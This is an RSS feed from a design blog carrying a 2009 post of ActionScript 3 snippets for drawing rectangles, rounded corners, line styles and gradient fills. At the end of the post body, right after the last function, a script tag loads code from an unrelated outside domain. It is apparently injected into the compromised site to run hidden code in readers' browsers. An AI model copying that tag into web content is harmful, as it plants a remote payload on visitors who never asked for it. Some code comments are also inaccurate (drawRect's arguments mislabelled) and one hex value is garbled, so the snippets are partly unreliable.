<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Official Design and Development Resource of ThornyRabbit &#187; draw</title>
	<atom:link href="http://blog.thornyrabbit.com/tag/draw/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.thornyrabbit.com</link>
	<description>because we love</description>
	<lastBuildDate>Fri, 19 Mar 2010 16:55:29 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>Drawing shapes with AS3</title>
		<link>http://blog.thornyrabbit.com/2009/03/drawing-shapes-with-as3/</link>
		<comments>http://blog.thornyrabbit.com/2009/03/drawing-shapes-with-as3/#comments</comments>
		<pubDate>Mon, 30 Mar 2009 16:01:57 +0000</pubDate>
		<dc:creator>thornyeternity</dc:creator>
				<category><![CDATA[ActionScript 3 Snippets]]></category>
		<category><![CDATA[ActionScript 3]]></category>
		<category><![CDATA[draw]]></category>
		<category><![CDATA[Flash]]></category>
		<category><![CDATA[gradient]]></category>
		<category><![CDATA[lines]]></category>
		<category><![CDATA[matrix]]></category>
		<category><![CDATA[rectangle]]></category>
		<category><![CDATA[shape]]></category>

		<guid isPermaLink="false">http://blog.thornyrabbit.com/?p=116</guid>
		<description><![CDATA[Draw shapes using code with ActionScript 3]]></description>
			<content:encoded><![CDATA[<p><strong>Draw Rectangle:</strong></p>
<p>var container:Sprite = new Sprite();</p>
<p>addChild(container);</p>
<p>var boxShape:Shape = new Shape();</p>
<p>boxShape.graphics.beginFill(galleryBackgroundColor);</p>
<p>boxShape.graphics.lineStyle(0, galleryBackgroundColor);</p>
<p>boxShape.graphics.drawRect(0 , imageHeight , stage.stageWidth , 200); //left top right bottom</p>
<p>boxShape.graphics.endFill();</p>
<p>container.addChild(boxShape);</p>
<p>&#8212;&#8212;-</p>
<p><strong>Rounded Rect:</strong></p>
<p>bgShape.graphics.drawRoundRect(0 , 0 , stage.stageWidth , stage.stageHeight , 25); //left top right bottom radius</p>
<p>&#8212;&#8212;</p>
<p><strong>Line Properties:</strong></p>
<p>borderShape.graphics.lineStyle(imageBorderThickness, imageBorderColor , 1 , true , &#8220;none&#8221; , &#8220;square&#8221; , &#8220;miter&#8221;);</p>
<p>true = pixelHinting</p>
<p>none = scaleMode (none, normal, vertical, horizontal)</p>
<p>square = cap (none, round, square)</p>
<p>join = miter (bevel, miter, round)</p>
<p>&#8212;&#8212;-</p>
<p><strong>Gradient Fill:</strong></p>
<p>var fillType:String = GradientType.LINEAR;//GradientType.LINEAR or GradientType.RADIAL</p>
<p>var colors:Array = [previewBgColor, previewBgColor2];</p>
<p>var alphas:Array = [1, 1 ];</p>
<p>var ratios:Array = [0, 255];//0 = left, 255 = right</p>
<p>var matr:Matrix = new Matrix();</p>
<p>matr.createGradientBox(stage.stageWidth, (stage.stageHeight/2), 90, 50, 0);</p>
<p>//width:Number, height:Number, rotation:Number = 0, tx:Number = 0, ty:Number = 0 where tx is first color start point and ty is second color start point</p>
<p>//rotation should use PI as 90 is not 90 rotation, but I don&#8217;t get it so whatever looks okay</p>
<p>var spreadMethod:String = SpreadMethod.PAD;//SpreadMethod.PAD, SpreadMethod.REFLECT, or SpreadMethod.REPEAT</p>
<p>previewBgShape.graphics.beginGradientFill(fillType, colors, alphas, ratios, matr, spreadMethod);</p>
<p>previewBgShape.graphics.drawRect(0 , 0 , stage.stageWidth , stage.stageHeight);</p>
<p>previewBgShape.graphics.endFill();</p>
<p>&#8212;&#8211;</p>
<p><strong>Re-usable function to draw rectangles with or whithout rounded corners:</strong></p>
<p><em>N</em><strong><span style="font-weight: normal;"><em>OTE: set width/height and radius to the same value to use this function to create a circle</em></span><br />
</strong></p>
<p>private function createInterface():void{</p>
<p>var header:Sprite = new Sprite();</p>
<p>addChild(header);</p>
<p>var headerShape = new Shape();</p>
<p>genericRectShape(headerShape, 0&#215;000066 , 0 , 0 , stage.stageWidth , 30 , 0);</p>
<p>header.addChild(headerShape);</p>
<p>}//createInterface</p>
<p><span> </span></p>
<p><span> </span></p>
<p>private function genericRectShape(whichObj:Shape, whatColor:uint , xpos:Number, ypos:Number, shapeWidth:Number , shapeHeight:Number , cornerRadius:Number):void{</p>
<p>whichObj.graphics.beginFill(whatColor);</p>
<p>whichObj.graphics.drawRoundRect(xpos , ypos , shapeWidth , shapeHeight , cornerRadius);</p>
<p>whichObj.graphics.endFill();</p>
<p>}//genericRectShape<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.thornyrabbit.com/2009/03/drawing-shapes-with-as3/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
